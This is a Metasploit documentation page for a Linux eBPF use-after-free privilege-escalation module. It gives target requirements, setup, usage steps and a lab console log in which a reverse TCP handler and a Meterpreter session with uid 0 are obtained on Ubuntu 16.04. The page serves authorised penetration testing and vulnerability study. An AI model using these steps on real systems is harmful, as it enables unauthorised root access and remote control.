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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/linux/local/bpf_priv_esc.md
Views: 11788

Notes

Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does not properly reference count file descriptors, resulting in a use-after-free, which can be abused to escalate privileges.

The target system must be compiled with CONFIG_BPF_SYSCALL and must not have kernel.unprivileged_bpf_disabled set to 1.

Note, this module will overwrite the first few lines of /etc/crontab with a new cron job. The job will need to be manually removed.

Vulnerable Application

This module has been tested successfully on:

  • Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)

This module was not tested against, but may work against:

Creating A Testing Environment

There are a few requirements for this module to work:

  1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04)

  2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04)

  3. fuse needs to be installed (non-default on Ubuntu 16.04)

Using Ubuntu 16.04, simply sudo apt-get install fuse and you're all set!

The libfuse-dev package must be installed to test live-compiling on the target:

apt-get install libfuse-dev=2.9.4-1ubuntu3.1

Verification Steps

  1. Start msfconsole

  2. Exploit a box via whatever method

  3. Do: `use exploit/linux/local/bpf_priv_esc

  4. Do: set session #

  5. Do: set verbose true

  6. Do: exploit

Options

MAXWAIT

The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)

WritableDir

A folder we can write files to. Defaults to /tmp

COMPILE

If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto

Scenarios

Ubuntu 16.04 (with Linux 4.4.0-21-generic)

In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.

msf5 > use exploit/linux/local/bpf_priv_esc 
msf5 exploit(linux/local/bpf_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/bpf_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] Kernel version 4.4.0-21-generic appears to be vulnerable
[+] fuse package is installed
[+] /tmp/fuse_mount doesn't exist
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] Unprivileged BPF loading is permitted
[+] libfuse-dev is installed
[+] gcc is installed
[+] pkg-config is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/hello.c' (2682 bytes) ...
[*] Writing '/tmp/doubleput.c' (5168 bytes) ...
[*] Writing '/tmp/suidhelper.c' (333 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
[*] Launching exploit. This may take up to 120 seconds.
[+] Success! set-uid root /tmp/suidhelper
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (861348 bytes) to 172.16.191.141
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
[+] Deleted /tmp/hello.c
[+] Deleted /tmp/hello
[+] Deleted /tmp/doubleput.c
[+] Deleted /tmp/doubleput
[+] Deleted /tmp/suidhelper.c
[+] Deleted /tmp/.FVfiRBKRDX7r
[+] Deleted /tmp/fuse_mount

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.141
OS           : Ubuntu 16.04 (Linux 4.4.0-21-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >